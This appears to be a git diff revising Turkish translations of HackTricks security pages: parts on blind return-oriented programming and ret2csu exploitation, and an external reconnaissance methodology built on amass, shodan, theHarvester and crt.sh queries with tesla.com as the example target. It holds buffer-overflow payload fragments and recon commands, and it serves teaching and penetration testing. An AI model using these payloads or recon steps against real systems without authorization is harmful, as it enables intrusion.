* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Çökecek
|
||||
* strcmp(\<okunan addr>, \<okunmayan addr>) -> çökme
|
||||
* strcmp(\<okunan adres>, \<okunmayan adres>) -> çökme
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<okunan addr>, \<okunan addr>) -> çökme yok
|
||||
* strcmp(\<okunan adres>, \<okunan adres>) -> çökme yok
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Unutmayın ki:
|
||||
|
@ -106,9 +106,9 @@ Genellikle `rdx`'nin zaten 0'dan büyük bir değeri barındıracağını unutma
|
|||
|
||||
### 8. Write veya eşdeğerini bulma
|
||||
|
||||
Son olarak, ikiliyi sızdırmak için verileri dışarı aktaran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliriz ve `rdx`'yi 0'dan büyük ayarlayabiliriz.**
|
||||
Son olarak, ikiliyi sızdırmak için verileri dışarı sızdıran bir gadget'a ihtiyaç vardır. Ve bu noktada **2 argümanı kontrol edebiliriz ve `rdx`'yi 0'dan büyük ayarlayabiliriz.**
|
||||
|
||||
Bunu kötüye kullanmak için 3 yaygın fonksiyon vardır:
|
||||
Bunun için kötüye kullanılabilecek 3 yaygın fonksiyon vardır:
|
||||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
|
@ -136,8 +136,8 @@ Bu fonksiyonları bulmak için davranış imzaları:
|
|||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -48,7 +48,7 @@ mov rsi, r14;
|
|||
mov edi, r13d;
|
||||
call qword [r12 + rbx*8];
|
||||
```
|
||||
2. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** karşılamanız gerekecek:
|
||||
2. Belki oraya yazmak için herhangi bir adres bilmiyorsunuz ve **bir `ret` talimatına** ihtiyacınız var. İkinci gadget'ın da **bir `ret` ile biteceğini** unutmayın, ancak ona ulaşmak için bazı **koşulları** yerine getirmeniz gerekecek:
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -74,13 +74,13 @@ gef➤ search-pattern 0x400560
|
|||
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
|
||||
```
|
||||
* `rbp` ve `rbx` aynı değere sahip olmalıdır, atlamayı önlemek için
|
||||
* Dikkate almanız gereken bazı atlanan pop'lar var
|
||||
* Dikkate almanız gereken bazı atlanan pops vardır
|
||||
|
||||
## RDI ve RSI
|
||||
|
||||
**`rdi`** ve **`rsi`**'yi ret2csu gadget'ından kontrol etmenin bir başka yolu, belirli ofsetlere erişmektir:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Daha fazla bilgi için bu sayfayı kontrol edin:
|
||||
|
||||
|
@ -92,11 +92,11 @@ Daha fazla bilgi için bu sayfayı kontrol edin:
|
|||
|
||||
### Çağrıyı Kullanma
|
||||
|
||||
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında parametre olarak belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
|
||||
Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında parametreler için belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız.
|
||||
|
||||
Burada **ret2csu** devreye giriyor:
|
||||
İşte burada **ret2csu** devreye giriyor:
|
||||
|
||||
1. **Kayıtları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin.
|
||||
1. **Kayıtları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın üzerindeki değerleri alıp rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e yerleştirin.
|
||||
2. **İkinci Gadget'ı Kullanın**: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'yi kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz.
|
||||
|
||||
Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son istismar:
|
||||
|
@ -129,7 +129,7 @@ Not edin ki önceki exploit bir **`RCE`** gerçekleştirmek için değil, sadece
|
|||
|
||||
### Çağrıyı atlayarak ret'e ulaşma
|
||||
|
||||
Aşağıdaki exploit [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) çıkarılmıştır; burada **ret2csu** kullanılıyor ancak çağrıyı kullanmak yerine, **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşarak** işlem yapmaktadır:
|
||||
Aşağıdaki exploit [**bu sayfadan**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) çıkarılmıştır; burada **ret2csu** kullanılıyor ancak çağrıyı kullanmak yerine **karşılaştırmaları atlayarak ve çağrıdan sonra `ret`'e ulaşarak** çalışmaktadır:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
|
|
@ -1,29 +1,29 @@
|
|||
# External Recon Methodology
|
||||
# Dış Recon Metodolojisi
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Varlık keşifleri
|
||||
|
||||
> Yani, bazı bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
|
||||
> Yani, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
|
||||
|
||||
Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardından bu şirketlerin **varlıklarını** elde etmektir. Bunu yapmak için:
|
||||
|
||||
|
@ -32,10 +32,10 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın
|
|||
3. İlkine bağlı diğer girişleri (organizasyon adları, alan adları...) aramak için ters whois sorgulamaları kullanmak (bu yinelemeli olarak yapılabilir).
|
||||
4. Diğer varlıkları aramak için shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanmak (bu `ssl` hilesi yinelemeli olarak yapılabilir).
|
||||
|
||||
### **Satın almalar**
|
||||
### **Satın Almalar**
|
||||
|
||||
Öncelikle, **ana şirketin sahip olduğu diğer şirketleri** bilmemiz gerekiyor.\
|
||||
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" seçeneğine **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
|
||||
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" üzerine **tıklamak**. Orada ana şirket tarafından satın alınan diğer şirketleri göreceksiniz.\
|
||||
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
|
||||
|
||||
> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımızı anlayalım.
|
||||
|
@ -43,11 +43,11 @@ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **
|
|||
### **ASNs**
|
||||
|
||||
Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\
|
||||
Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
|
||||
Bir **AS**, dış ağlara erişim için belirgin bir şekilde tanımlanmış bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
|
||||
|
||||
**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **güvenlik testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
|
||||
**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de** arama yapabilirsiniz.\
|
||||
**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
|
||||
**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
|
||||
**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de arama yapabilirsiniz.**\
|
||||
**Şirketin bulunduğu bölgeye bağlı olarak bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -73,7 +73,7 @@ bbot -t tesla.com -f subdomain-enum
|
|||
You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\
|
||||
You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Zafiyetleri Aramak**
|
||||
### **Zafiyetleri Arama**
|
||||
|
||||
Bu noktada **kapsam içindeki tüm varlıkları** biliyoruz, bu yüzden izin verilirse tüm hostlar üzerinde bazı **zafiyet tarayıcıları** (Nessus, OpenVAS) başlatabilirsiniz.\
|
||||
Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **başlatabilir veya** shodan **gibi hizmetleri kullanarak** açık portları **bulabilirsiniz ve bulduklarınıza bağlı olarak bu kitapta çeşitli hizmetleri nasıl pentest edeceğinize bakmalısınız.**\
|
||||
|
@ -109,8 +109,8 @@ You can use online tools like:
|
|||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API yok.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil
|
||||
|
||||
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
|
||||
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
@ -139,9 +139,9 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
```
|
||||
![favihash - aynı favicon simgesi hash'ine sahip alanları keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
Kısacası, favihash, hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
|
||||
Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar.
|
||||
|
||||
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir versiyonunun **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
|
||||
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
@ -160,67 +160,67 @@ return fhash
|
|||
```
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
Web sayfalarında **aynı organizasyondaki farklı webler arasında paylaşılabilecek dizgiler** arayın. **Telif hakkı dizgisi** iyi bir örnek olabilir. Ardından bu dizgiyi **google**, diğer **tarayıcılar** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"`
|
||||
Web sayfalarında **aynı organizasyondaki farklı webler arasında paylaşılabilecek dizgiler** arayın. **Telif hakkı dizgisi** iyi bir örnek olabilir. Ardından o dizgiyi **google**, diğer **tarayıcılar** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Time**
|
||||
|
||||
Bir cron job'a sahip olmak yaygındır.
|
||||
Bir cron işi olması yaygındır.
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **aynı şirkete ait alan adlarını sertifika şeffaflık kayıtlarında bulmak**.\
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
|
||||
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Mail DMARC information
|
||||
### Mail DMARC bilgileri
|
||||
|
||||
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **aynı dmarc bilgilerini paylaşan alan adları ve alt alan adları**.
|
||||
|
||||
### **Passive Takeover**
|
||||
### **Pasif Ele Geçirme**
|
||||
|
||||
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **o IP adresini kaybetmek ama DNS kaydını silmeyi unutmak**. Therefore, just **bir VM oluşturmak** in a cloud (like Digital Ocean) you will be actually **bazı alt alan adlarını ele geçirmiş olacaksınız**.
|
||||
Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (Digital Ocean gibi) aslında **bazı alt alan adlarını ele geçireceksiniz**.
|
||||
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **DigitalOcean'da bir VM oluşturur**, **yeni makinenin** **IPv4'ünü alır** ve **Virustotal'da ona işaret eden alt alan adı kayıtlarını arar**.
|
||||
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **buna işaret eden alt alan adı kayıtlarını Virustotal'da arayan** bir script öneriyor.
|
||||
|
||||
### **Other ways**
|
||||
### **Diğer yollar**
|
||||
|
||||
**Bu tekniği her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
|
||||
Zaten IP alanına sahip olan kuruluşun adını biliyorsunuz. Bu veriyi shodan'da aramak için kullanabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin.
|
||||
|
||||
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz, filtre ile: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) is a tool that look for **ana alan adı ile ilişkili alan adları** ve **onların alt alan adları**, pretty amazing.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder), ana bir alan adı ile ilişkili **alan adlarını** ve **alt alan adlarını** arayan bir araçtır, oldukça etkileyici.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
### **Zafiyet arama**
|
||||
|
||||
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Just register it (if cheap enough) and let know the company.
|
||||
Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin.
|
||||
|
||||
If you find any **alan adı farklı bir IP ile** bulduğunuz varlık keşfindeki IP'lerden, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||
_Not that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
Eğer bulduğunuz varlık keşfindeki IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "onlara saldırmak" için bazı ipuçları bulabilirsiniz**.\
|
||||
_Domain'in, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **Intigriti'ye kaydolun**, **hackerlar tarafından, hackerlar için oluşturulmuş bir premium bug bounty platformu**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, **hackerlar tarafından, hackerlar için oluşturulmuş bir premium hata ödülü platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdomains
|
||||
## Alt Alan Adları
|
||||
|
||||
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
|
||||
> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz.
|
||||
|
||||
It's time to find all the possible subdomains of each found domain.
|
||||
Bulunan her alan adının tüm olası alt alan adlarını bulma zamanı.
|
||||
|
||||
{% hint style="success" %}
|
||||
Bazı araçların ve tekniklerin alan adlarını bulmak için kullanılabileceğini unutmayın, aynı zamanda alt alan adlarını bulmaya da yardımcı olabilir!
|
||||
Alan adlarını bulmak için bazı araçların ve tekniklerin alt alan adlarını bulmaya da yardımcı olabileceğini unutmayın!
|
||||
{% endhint %}
|
||||
|
||||
### **DNS**
|
||||
|
||||
Let's try to get **alt alan adlarını** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
|
||||
**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu bildirmelisiniz).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -275,9 +275,9 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Diğer **ilginç araçlar/API'ler** doğrudan alt alan bulmaya özel olmasalar da alt alanları bulmak için faydalı olabilir, örneğin:
|
||||
Diğer **ilginç araçlar/API'ler** doğrudan alt alan adlarını bulmaya özel olmasalar da alt alan adlarını bulmak için faydalı olabilir, örneğin:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alanları elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır.
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Alt alan adlarını elde etmek için [https://sonar.omnisint.io](https://sonar.omnisint.io) API'sini kullanır.
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
|
@ -307,12 +307,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** Verilen bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
|
||||
* [**gau**](https://github.com/lc/gau)**:** belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'den JS dosyalarını arayıp oradan alt alan adlarını çıkarırlar.
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'den JS dosyalarını arayıp buradan alt alan adlarını çıkarırlar.
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
